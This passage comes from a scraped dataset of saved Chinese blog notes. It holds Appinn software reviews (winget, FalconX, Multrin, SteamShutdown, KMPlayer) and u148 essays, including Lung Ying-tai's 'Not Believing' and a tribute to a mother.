后直接安装。\n\n建议使用新的 Windows 终端程序 [Windows Terminal](https://www.microsoft.com/zh-cn/p/windows-terminal/9n0dx20hk701#activetab=pivot:overviewtab) 而不是 **命令提示符** cmd,后者有点弱。\n\n## winget 功能\n\n目前 winget 有下列命令:\n\n* **install** 安装指定的应用程序\n* **show** 显示关于应用的信息\n* **source** 管理应用源\n* **search** 查找并显示应用的基本信息\n* **hash** 哈希安装程序的帮助程序\n* **validate** 验证清单文件\n* **-v,–version** 显示工具的版本\n* **–info** 显示工具的常规信息\n\n然后,就是测试啦。\n\n## 使用 winget 安装 Edge 开发者版本\n\n这里青小蛙测试通过 winget 安装 Edge 的开发者版本,你就可以对比到与传统安装方式的区别。\n\n1. 搜索程序包 **winget search edge**\n2. 获得程序包 ID “Microsoft.EdgeDev”\n3. 安装 **winget install Microsoft.EdgeDev**\n\n![](assets/image_2.jpeg)\n\n然后,就完成了 Edge 开发者版本的安装。\n\n青小蛙录制了一段视频发布在 B 站:\n\n大概就是这样了,开发者可以 [提交](https://github.com/microsoft/winget-pkgs/pulls) 自己的软件包给 Windows 程序包管理器,用户就可以通过 winget 安装程序了。感觉未来桌面操作系统的操作方式会越来越接近呀。\n\n附链接:\n\n* [Windows 程序包管理器(预览)](https://docs.microsoft.com/zh-cn/windows/package-manager/)\n* [使用 winget 工具安装和管理应用程序](https://docs.microsoft.com/zh-cn/windows/package-manager/winget/)\n\n感兴趣的同学快去试试吧,虽然目前来说还没什么大的卵用。\n\n- - - -\n\n## 相关阅读\n\n* [微软 Edge 浏览器 正式发布 iOS 与 Android 版本](https://www.appinn.com/edge-for-ios-android/)\n* [微软正式发布基于 Chromium 的浏览器 the New Microsoft Edge](https://www.appinn.com/the-new-microsoft-edge-base-chromium/)\n* [基于 Chromium 的微软 Edge 浏览器泄漏,真香](https://www.appinn.com/chromium-based-microsoft-edge-for-windows/)\n* [Muviz Edge – 利用屏幕边缘,可视化听歌❲Android❳](https://www.appinn.com/muviz-edge-for-android/)\n* [如何在 Win10 中让 Edge 而非 IE 打开来自 QQ 的链接](https://www.appinn.com/ie-to-edge/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/use-winget-to-install-edge/#comments) 收藏0\n\n[https://www.appinn.com/use-winget-to-install-edge/](https://www.appinn.com/use-winget-to-install-edge/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件" }, { "alpha_fraction": 0.7261048555374146, "alphanum_fraction": 0.7435765862464905, "avg_line_length": 45.35714340209961, "blob_id": "1129545ef6b99902937aa95524ced6e5c97f06e9", "content_id": "6015d9dce5fd1d54f52bbd987c8faf009da98016", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2719, "license_type": "no_license", "max_line_length": 644, "num_lines": 42, "path": "/博客/小众软件/这些老婆不存在 – AI 随机生成「二次元妹子」照片.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# 这些老婆不存在 – AI 随机生成「二次元妹子」照片\n又有神奇的网站了,” **This waifu does not exist** “是一个每隔30秒就自动生成一张新的二次元妹子照片的网站,这些妹子照片被一些同学称作 Waifu,由于是AI 生成没有版权问题,任何人都可以拿去当头像,当老婆。@Appinn\n\n![](assets/image_2.jpeg)\n\n上图其实是基于” **This waifu does not exist** “网站的一个聚合站点( [网站地址](https://www.obormot.net/demos/these-waifus-do-not-exist.html) ),能够在一整面显示器上显示多个 waifu 老婆头像,而正经的 **This waifu does not exist** 一次只显示一张:\n\n![](assets/image_1.jpeg)\n\n页面会自动刷新,看到喜欢的记得保存,不然就再也没有然后了。\n\n青小蛙闲着无聊录了一段视频来看看:\n\n对了,这段视频在腾讯被认为违规无法通过审核…\n\n最后链接来了,This waifu does not exist 官网 [在这里](http://www.thiswaifudoesnotexist.net/?ref=appinn) 。\n\n还记得前几天通过 AI 随机生成「虚拟人脸」照片的服务 [这个人不存在](https://www.appinn.com/this-person-does-not-exist/) 么?\n\n- - - -\n\n## 相关阅读\n\n[Apple 教你 16 种 iPhone 7 拍照技巧,人人都是摄影师](https://www.appinn.com/photography-how-to/)\n\n[这个人不存在 – AI 随机生成「虚拟人脸」照片](https://www.appinn.com/this-person-does-not-exist/)\n\n[Does not Commute – 小镇不堵车❲iOS/Android❳](https://www.appinn.com/does-not-commute/)\n\n[Do Not Disturb – 全自动『定时』请勿打扰❲Android❳](https://www.appinn.com/do-not-disturb/)\n\n[LostPhotos – 搜索邮箱内的所有图片](https://www.appinn.com/lostphotos/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds) | [反馈](http://appinn.wufoo.com/forms/eccae-aeeae/) | [代理](http://hellohostnet.com/proxy.html) (优惠码 Appinn)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/this-waifu-does-not-exist/#comments) 收藏0\n\nvia John Youi's favorite articles on Inoreader [https://ift.tt/2GyUNNw](https://ift.tt/2GyUNNw)\n\n#博客/小众软件" }, { "alpha_fraction": 0.7340153455734253, "alphanum_fraction": 0.7570332288742065, "avg_line_length": 32.15254211425781, "blob_id": "670ddf40f481dc511d36da0e997d8040057b461a", "content_id": "c87067a0b4b1b2a26eb8c5091ba3b0dbf1dcab76", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2976, "license_type": "no_license", "max_line_length": 644, "num_lines": 59, "path": "/博客/小众软件/KMPlayer Pro for Android 限免.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# KMPlayer Pro for Android 限免\nKMPlayer 是一款知名的全格式视频播放器,拥有 Wondows、macOS、iOS 以及 Android 版本,目前 Android 版本在 Google Play 限免,剩余不到 24 小时。Appinn\n\n![](assets/image_2.jpeg)\n\n早在 PC 时代,有相当长一段时间,KMPlaywr 占据了桌面用户最佳视频播放器的位置。\n除了视频格式,还支持音频,网络播放等功能,主要特性如下:\n\n高品质播放:从高清HD到4K,超高清UHD,全高清的高品质视频播放。\n\n外部存储:从外部存储设备(如SD卡)自动加载所有视频和音乐文件。\n\n网络播放:播放外部网络上的音乐和视频(DLNA,SMB / CIFS,FTP播放)。\n\n网址播放:输入网址后,可完美播放YouTube视频。\n\nGoogle Cloud:完美播放Google Cloud视频。\n\n编解码器搜索:当手机中没有编解码器时,启用自动编解码器搜索功能。\n\n播放速度:0.1~4倍速,可调节视频播放速度。\n\n部分重复(复读):有利于语言学习的部分重复功能。\n\n镜像模式:左右旋转180度的镜像模式,用于舞蹈练习。\n\n播放音乐:播放智能手机上的所有mp3音乐文件。\n\n迷你播放器:弹出播放功能,允许您在进行其他工作时观看视频。\n\n夜间主题:带夜间主题皮肤的夜间模式可让您在夜间轻松观看视频。\n\n![](assets/image_1.jpeg)\n\nPro 版本主要是无广告,其余功能一样,有条件访问 [Google Play](https://play.google.com/store/apps/details?id=com.kmplayerpro) 的同学,是时候转正啦。\n\n- - - -\n\n## 相关阅读\n\n[戏说KMPlayer 播放器](https://www.appinn.com/kmplayer/)\n\n[QQ 影音 v1.2 正式版,功能手札](https://www.appinn.com/qq-player/)\n\n[KMPlayer vs MPC – 全能播放器](https://www.appinn.com/kmplayer-vs-mpc/)\n\n[Gom Player – 继续媒体播放器](https://www.appinn.com/gomplayer/)\n\n[我最喜爱的《视频播放器》](https://www.appinn.com/my-fav-media-player-list-final/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds) | [反馈](http://appinn.wufoo.com/forms/eccae-aeeae/) | [代理](http://hellohostnet.com/proxy.html) (优惠码 Appinn)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/kmplayer-pro-for-android/#comments) 收藏0\n\nvia John Youi's favorite articles on Inoreader [http://bit.ly/2SO51zl](http://bit.ly/2SO51zl)\n\n#博客/小众软件" }, { "alpha_fraction": 0.723150372505188, "alphanum_fraction": 0.7584725618362427, "avg_line_length": 44.565216064453125, "blob_id": "3cc4d7203937babc6097577dc0ff86e321bcbab4", "content_id": "3cedc1feb5809eec12701c90dbcee39c5a367af2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2968, "license_type": "no_license", "max_line_length": 537, "num_lines": 46, "path": "/博客/小众软件/FalconX – 居中显示任务栏图标[Windows].textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# FalconX – 居中显示任务栏图标[Windows]\n[小众软件 FalconX – 居中显示任务栏图标❲Windows❳](https://www.appinn.com/falconx-for-windows/) \n\n[FalconX](https://www.appinn.com/falconx-for-windows/) 是一款美化 Windows 的小工具,它能够居中任务栏上的图标,并且拥有 40 多种动画效果,超低的资源占用。让你的 Windows 个性一点点。@Appinn\n\n![](assets/image_2.jpeg)\n\n刚开始将任务栏上的图标放置在中间,还是稍微有点不习惯,然后…过一会可能也不太习惯。\n\n不过这完全是使用习惯的问题,因为当想到要去任务栏的时候,总是习惯性的从左边开始菜单按钮看起。然后才发现,原来图标都去了中间。\n\n不过效果还是很不错的,来看视频:\n\nFalconX 拥有 42 种不同的动画效果,包括无动画。\n\n![](assets/image_1.gif)\n\n其实动画效果就是图标轻微的移动,非常的轻微。\n\nFalconX 可以设置任务栏透明、模糊,支持多显示器,以及可以定位居中是屏幕的中间,还是开始菜单和托盘之间的中间。\n\n从任务管理器来看,FalconX 的峰值 CPU 资源占用在 0.6% 左右,大多数都是 0,而内存占用仅仅 2.9MB。\n\n感兴趣的同学可以从 [GitHub](https://github.com/ChrisAnd1998/FalconX-Center-Taskbar) 免费下载,也可以从 [Windows 商店](https://www.microsoft.com/en-us/p/falconx-center-taskbar/9pcmz6bxk8gh#) 付费支持。\n\n- - - -\n\n## 相关阅读\n\n* [为什么要使用 Windows 10 的 214 条理由](https://www.appinn.com/why-are-there-214-reasons-to-use-windows-10/)\n* [微软的 150 款免费软件❲部分,待更新❳](https://www.appinn.com/ultimate-list-of-free-windows-software-from-microsoft/)\n* [8 款漂亮的 Windows 7 主题桌面](https://www.appinn.com/8-windows-7-themes/)\n* [Ultimate Windows Tweaker 3.0 for Windows 8 系统微调工具](https://www.appinn.com/ultimate-windows-tweaker-3-0-for-windows-8/)\n* [@ericole 分享的 10+ 款 Windows 10 应用分享](https://www.appinn.com/ericole-share-10-apps-windows-10/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/falconx-for-windows/#comments) 收藏0\n\n[https://www.appinn.com/falconx-for-windows/](https://www.appinn.com/falconx-for-windows/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件" }, { "alpha_fraction": 0.715691328048706, "alphanum_fraction": 0.7597100138664246, "avg_line_length": 49.842105865478516, "blob_id": "436f2b3d526455f3ad43dacb7694dada12e0f8d6", "content_id": "c7e33be33d757bbbc2c2ec30831262d4bbe965f5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2654, "license_type": "no_license", "max_line_length": 644, "num_lines": 38, "path": "/博客/小众软件/Multrin – 将不同应用程序拖放到一起,组成一个多标签页窗口[Windows].textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# Multrin – 将不同应用程序拖放到一起,组成一个多标签页窗口[Windows]\n[Multrin](https://www.appinn.com/multrin-for-windows/) 是一款挺有意思的软件,它本身是一个空白窗口,将其他应用程序拖放到上面,就形成了类似浏览器多标签页效果的,聚合了不同软件的多标签页窗口。@Appinn\n\n![](assets/image_2.jpeg)\n\nMultrin 是一个基于 Electron、React 的软件,目前的使用体验还有些卡顿,不过想法很好,将不同的程序窗口放到一个聚合窗口之中,组成多标签页窗口。\n\n效果如图,直接将其他程序窗口拖进去就行了。但对于本身就是多标签页的 edge 浏览器来说,会出现白屏,需要切换一下再回来就好了。\n\n还有个小问题,无法调整窗口打开,只有一个默认大小和全屏尺寸。\n\n![](assets/image_1.gif)\n\n开发者只提供了 Windows 版本供下载,在 [GitHub](https://github.com/sentialx/multrin/releases) ,有一个 [国内搬运下载](https://u15690961.pipipan.com/fs/15690961-339329523) 。\n\n- - - -\n\n## 相关阅读\n\n[为什么要使用 Windows 10 的 214 条理由](https://www.appinn.com/why-are-there-214-reasons-to-use-windows-10/)\n\n[微软的 150 款免费软件❲部分,待更新❳](https://www.appinn.com/ultimate-list-of-free-windows-software-from-microsoft/)\n\n[8 款漂亮的 Windows 7 主题桌面](https://www.appinn.com/8-windows-7-themes/)\n\n[Ultimate Windows Tweaker 3.0 for Windows 8 系统微调工具](https://www.appinn.com/ultimate-windows-tweaker-3-0-for-windows-8/)\n\n[@ericole 分享的 10+ 款 Windows 10 应用分享](https://www.appinn.com/ericole-share-10-apps-windows-10/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds) | [反馈](http://appinn.wufoo.com/forms/eccae-aeeae/) | [代理](http://hellohostnet.com/proxy.html) (优惠码 Appinn)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/multrin-for-windows/#comments) 收藏0\n\nvia John Youi's favorite articles on Inoreader [https://ift.tt/2TcmHEX](https://ift.tt/2TcmHEX)\n\n#博客/小众软件" }, { "alpha_fraction": 0.7693089246749878, "alphanum_fraction": 0.8023374080657959, "avg_line_length": 47.024391174316406, "blob_id": "cdf77a4e27c16305a465469f14d03bfe69cca087", "content_id": "f4320bae3fe5049b99d9f07d37dc63157aa5b49e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4744, "license_type": "no_license", "max_line_length": 360, "num_lines": 41, "path": "/图片/有意思吧/龙应台:不相信.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# 龙应台:不相信\n \n![](assets/image_1.jpeg)\n \n\n(特别喜欢这个童声版的“不想长大”)\n\n二十岁之前相信的很多东西,后来一件一件变成不相信。\n\n曾经相信过爱国,后来知道“国”的定义有问题,通常那循循善诱要你爱国的人所定义的“国”,不一定可爱,不一定值得爱,而且更可能值得推翻。\n\n曾经相信过历史,后来知道,原来历史的一半是编造。前朝史永远是后朝人在写,后朝人永远在否定前朝,他的后朝又来否定他,但是负负不一定得正,只是累积渐进的扭曲变形移位,使真相永远掩盖,无法复原。说“不容青史尽成灰”,表达的正是,不错,青史往往是要成灰的。指鹿为马,也往往是可以得逞和胜利的。\n\n曾经相信过文明的力量,后来知道,原来人的愚昧和野蛮不因文明的进展而消失,只是愚昧野蛮有很多不同的面貌:纯朴的农民工人、深沉的知识分子、自信的政治领袖、替天行道的王师,都可能有不同形式的巨大愚昧和巨大野蛮,而且野蛮和文明之间,竟然只有极其细微、随时可以被抹掉的一线之隔。\n\n曾经相信过正义,后来知道,原来同时完全可以存在两种正义,而且彼此抵触,冰火不容。选择其中之一,正义同时就意味着不正义。而且,你绝对看不出,某些人在某一个特定的时机热烈主张某一个特定的正义,其中隐藏着深不可测的不正义。\n\n曾经相信过理想主义者,后来知道,理想主义者往往经不起权力的测试:一掌有权力,他或者变成当初自己誓死反对的“邪恶”,或者,他在现实的场域里不堪一击,一下就被弄权者拉下马来,完全没有机会去实现他的理想。理想主义者要有品格,才能不被权力腐化;理想主义者要有能力,才能将理想转化为实践。可是理想主义者兼具品格及能力者,几希。\n\n曾经相信过爱情,后来知道,原来爱情必须转化为亲情才可能持久,但是转化为亲情的爱情,犹如化入杯水中的冰块──它还是冰块吗?\n\n曾经相信过海枯石烂作为永恒不灭的表征,后来知道,原来海其实很容易枯,石,原来很容易烂。雨水,很可能不再来,沧海,不会再成桑田。原来,自己脚下所踩的地球,很容易被毁灭。海枯石烂的永恒,原来不存在。\n\n二十岁之前相信的很多东西,有些其实到今天也还相信。\n\n譬如国也许不可爱,但是土地和人可以爱。譬如史也许不能信,但是对于真相的追求可以无止尽。譬如文明也许脆弱不堪,但是除文明外我们其实别无依靠。譬如正义也许极为可疑,但是在乎正义比不在乎要安全。譬如理想主义者也许成就不了大事大业,但是没有他们社会一定不一样。譬如爱情总是幻灭的多,但是萤火虫在夜里发光从来就不是为了保持光。譬如海枯石烂的永恒也许不存在,但是如果一粒沙里有一个无穷的宇宙,一刹那里想必也有一个不变不移的时间。\n\n那么,有没有什么,是我二十岁前不相信的,现在却信了呢?\n\n有的,不过都是些最平凡的老生常谈。曾经不相信“性格决定命运”,现在相信了。曾经不相信“色即是空”,现在相信了。曾经不相信“船到桥头自然直”,现在有点信了。曾经不相信无法实证的事情,现在也还没准备相信,但是,有些无关实证的感觉,我明白了,譬如李叔同圆寂前最后的手书:“君子之交,其淡如水,执象而求,咫尺千里。问余何适,廓尔忘言,华枝春满,天心月圆。”\n\n相信与不相信之间,彷佛还有令人沉吟的深度。\n\n查看详情评论: [龙应台:不相信](http://www.u148.net/article/65335.html)\n本文原始链接: [http://www.u148.net/article/65335.html](http://www.u148.net/article/65335.html)\n更多精彩内容: [创意视频](http://www.u148.net/video.html) ┊ [清新图画](http://www.u148.net/image.html) ┊ [好玩游戏](http://www.u148.net/game.html) ┊ [动听音乐](http://www.u148.net/audio.html) ┊ [情感文字](http://www.u148.net/text.html) ┊ [乱七八糟](http://www.u148.net/mix.html) ┊ [讨论小组](http://www.u148.net/group/) ┊ [淘宝皇冠店](http://dianpu.tao123.com/?pid=mm_26142575_0_0&amp;eventid=102167)\n闲逛好站推荐: [爱偷闲(www.iTouxian.com)](http://www.itouxian.com) ,分享身边的美好事、搞笑事、幸福事、蛋疼事…[点此进入](http://www.itouxian.com)\n\n来自 有意思吧\n\n#博客/有意思吧" }, { "alpha_fraction": 0.7062689661979675, "alphanum_fraction": 0.7548028230667114, "avg_line_length": 53.97222137451172, "blob_id": "cdfc2504bde95e3bba802b13e7e5e1a6fb298a1d", "content_id": "9c479f1a58fd21e312a85785b6913ccc5b62ffbc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2635, "license_type": "no_license", "max_line_length": 644, "num_lines": 36, "path": "/博客/小众软件/SteamShutdown – Steam 游戏下载完成后自动关机 [Windows].textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# SteamShutdown – Steam 游戏下载完成后自动关机 [Windows]\n[SteamShutdown](https://www.appinn.com/steamshutdown-for-windows/) 是一款能够自动检测 Steam 游戏下载完成,并实现电脑关机、休眠、睡眠的系统辅助工具。@Appinn\n\n![](assets/image_1.jpeg)\n\n来自 @ [heretic43](https://meta.appinn.com/t/steam/8850) 的推荐:「晚上 Steam 下载游戏,没有自动关机,就找了一下软件,正好有一个。」\n\nSteam 游戏有些非常巨大,所以通宵下载也是常事,但没有自动关机就不爽了,于是这个第三方的辅助工具 SteamShutdown 就能派上用场。\n\n**SteamShutdown** 会自动检测到 Steam 进程,并识别下载任务,你可以选择一个、多个或全部下载任务,然后设置为关机、休眠、睡眠。\n\n当然至今青小蛙依旧会把休眠和睡眠搞混… SteamShutdown 找不到官网,不过有一个 [国内搬运](https://u15690961.pipipan.com/fs/15690961-336037660) ,以及可以 [继续讨论](https://meta.appinn.com/t/steam/8850) 。\n\n- - - -\n\n## 相关阅读\n\n[为什么要使用 Windows 10 的 214 条理由](https://www.appinn.com/why-are-there-214-reasons-to-use-windows-10/)\n\n[微软的 150 款免费软件❲部分,待更新❳](https://www.appinn.com/ultimate-list-of-free-windows-software-from-microsoft/)\n\n[8 款漂亮的 Windows 7 主题桌面](https://www.appinn.com/8-windows-7-themes/)\n\n[Ultimate Windows Tweaker 3.0 for Windows 8 系统微调工具](https://www.appinn.com/ultimate-windows-tweaker-3-0-for-windows-8/)\n\n[@ericole 分享的 10+ 款 Windows 10 应用分享](https://www.appinn.com/ericole-share-10-apps-windows-10/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds) | [反馈](http://appinn.wufoo.com/forms/eccae-aeeae/) | [代理](http://hellohostnet.com/proxy.html) (优惠码 Appinn)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/steamshutdown-for-windows/#comments) 收藏0\n\nvia John Youi's favorite articles on Inoreader [http://bit.ly/2N1jsui](http://bit.ly/2N1jsui)\n\n#博客/小众软件" }, { "alpha_fraction": 0.5810771584510803, "alphanum_fraction": 0.6273653507232666, "avg_line_length": 10.848276138305664, "blob_id": "ef1ef95b898e016ffbfe62f1766c42d04e409713", "content_id": "db9dfa01f69b83641025f90975bccb17a0a908f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 5387, "license_type": "no_license", "max_line_length": 360, "num_lines": 290, "path": "/图片/有意思吧/她的愿望总与我有关——致我最爱的人,我的母亲.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# 她的愿望总与我有关——致我最爱的人,我的母亲\n \n![](assets/image_8.jpeg)\n \n\n> 世界上所有人必须做的两件事 一是仰视天空 一是仰视母亲 \n> 世界上所有人相同的双声发音 是Mama 没有什么比之更动听 \n> 世界上蕴蓄着最原始的 唯一没有被污染的情感 是母爱 \n> 世界上的一切光荣和骄傲 都来自母亲 \n\n> ——高尔基 \n\n> 有一个人 \n> 她从小就打理你的饮食起居 \n> 喜欢啰嗦你在生活中所有的毛病 \n> 从来不轻易地夸赞你的优点 \n> 经常性的喜欢拿你跟谁家的小孩比较 \n> 却会在你生病时为你张罗东又奔跑西 \n> 熬好药 又拿着糖果 哄着你喝下它 \n> 却会在停电的夏夜坐在你的床铺前 \n> 为你手动的送去清凉的微风 \n\n> 有一个人 \n> 她在你第一次离开家里的时候 \n> 坚持着不送你去车站 \n> 可当你坐上车子 却听见车窗有人叫着你的名字 \n> 手里拿着你爱吃的一包糖果 \n> 看着她塞给自己时慌张的模样 \n> 你突然感觉到不可抑制的鼻酸 \n> 泪水就那样在你强忍着的时候不听话地流下来 \n> 车子渐开渐远 你望着她的背影越来越远 \n> 隐约看见她用手抹着眼角的动作 \n> 那时的你一下子就没了第一次离家的那种兴奋感 \n\n> 有一个人 \n> 她在你毕业了出来工作的时候 \n> 会细心地叮咛你什么事该做什么话不该说 \n> 会让你自己买个厨房用具自己煮饭烧菜 \n> 说这样子比较卫生营养对身体比较好 \n> 她还会渐渐地关心你的人生大事 \n> 教你怎样去看一个人 \n> 总会在耳边叮嘱自己不要让爱蒙蔽了双眼 \n> 一时的头昏脑热的爱情不能当饭吃 \n> 脚踏实地的生活方式才是最实在的 \n\n> 就是这样一个人 \n> 她教会了你许多的事情 \n> 也给予了你她一生的爱和牵挂 \n> 就是这样一个人 \n> 她无私地为你宁愿围绕着灶台转 \n> 让自己光滑的肌肤变成了褶皱的纹路 \n> 就是这样一个人 \n> 她在你走的每一步成长路上都操心 \n> 而自己的步伐却日渐迟缓而蹒跚 \n\n> 而如今随着自己的年龄增长 \n> 自己倒越来越像当年的她 \n> 照顾着小时候的自己一般 \n> 对于她的一些小任性和小拌嘴 \n> 总是只能无可奈何地认输并道歉 \n\n> 其实只有自己知道 \n> 她的愿望很简单 \n> 无非就是午后的阳光下她边织毛衣边跟我唠嗑 \n> 或是我在旁边看书 她在庭院里浇花 \n> 再么 就是和她一起看一集家庭连续剧 \n> 跟她讨论讨论情节感慨感慨人生 \n\n> 真心希望您 \n> 身体健康 而我也会努力 \n> 争取实现您所期望的儿孙满堂 \n\n> ——致我最爱的人 我的母亲 \n\n> By:空自凝眸 \n\n————————那些伟大母爱之千姿百态分割线————————\n\n \n![](assets/image_14.jpeg)\n \n\n \n![](assets/image_12.jpeg)\n \n\n \n![](assets/image_5.jpeg)\n \n\n \n![](assets/image_39.jpeg)\n \n\n \n![](assets/image_22.jpeg)\n \n\n \n![](assets/image_38.jpeg)\n \n\n \n![](assets/image_4.jpeg)\n \n\n \n![](assets/image_32.jpeg)\n \n\n \n![](assets/image_1.jpeg)\n \n\n \n![](assets/image_15.jpeg)\n \n\n \n![](assets/image_35.jpeg)\n \n\n \n![](assets/image_46.jpeg)\n \n\n \n![](assets/image_24.jpeg)\n \n\n \n![](assets/image_23.jpeg)\n \n\n \n![](assets/image_26.jpeg)\n \n\n \n![](assets/image_20.jpeg)\n \n\n \n![](assets/image_18.jpeg)\n \n\n \n![](assets/image_49.jpeg)\n \n\n \n![](assets/image_7.jpeg)\n \n\n \n![](assets/image_17.jpeg)\n \n\n \n![](assets/image_51.jpeg)\n \n\n \n![](assets/image_29.jpeg)\n \n\n \n![](assets/image_11.jpeg)\n \n\n \n![](assets/image_19.jpeg)\n \n\n \n![](assets/image_28.jpeg)\n \n\n \n![](assets/image_31.jpeg)\n \n\n \n![](assets/image_9.jpeg)\n \n\n \n![](assets/image_44.jpeg)\n \n\n \n![](assets/image_42.jpeg)\n \n\n \n![](assets/image_52.jpeg)\n \n\n \n![](assets/image_6.jpeg)\n \n\n \n![](assets/image_40.jpeg)\n \n\n \n![](assets/image_47.jpeg)\n \n\n \n![](assets/image_21.jpeg)\n \n\n \n![](assets/image_27.jpeg)\n \n\n \n![](assets/image_25.jpeg)\n \n\n \n![](assets/image_36.jpeg)\n \n\n \n![](assets/image_43.jpeg)\n \n\n \n![](assets/image_16.jpeg)\n \n\n \n![](assets/image_30.jpeg)\n \n\n \n![](assets/image_41.jpeg)\n \n\n \n![](assets/image_37.jpeg)\n \n\n \n![](assets/image_50.jpeg)\n \n\n \n![](assets/image_13.jpeg)\n \n\n \n![](assets/image_10.jpeg)\n \n\n \n![](assets/image_34.jpeg)\n \n\n \n![](assets/image_2.jpeg)\n \n\n \n![](assets/image_45.jpeg)\n \n\n \n![](assets/image_48.jpeg)\n \n\n \n![](assets/image_3.jpeg)\n \n\n \n![](assets/image_33.jpeg)\n \n\n查看详情评论: [她的愿望总与我有关——致我最爱的人,我的母亲](http://www.u148.net/article/65417.html)\n本文原始链接: [http://www.u148.net/article/65417.html](http://www.u148.net/article/65417.html)\n更多精彩内容: [创意视频](http://www.u148.net/video.html) ┊ [清新图画](http://www.u148.net/image.html) ┊ [好玩游戏](http://www.u148.net/game.html) ┊ [动听音乐](http://www.u148.net/audio.html) ┊ [情感文字](http://www.u148.net/text.html) ┊ [乱七八糟](http://www.u148.net/mix.html) ┊ [讨论小组](http://www.u148.net/group/) 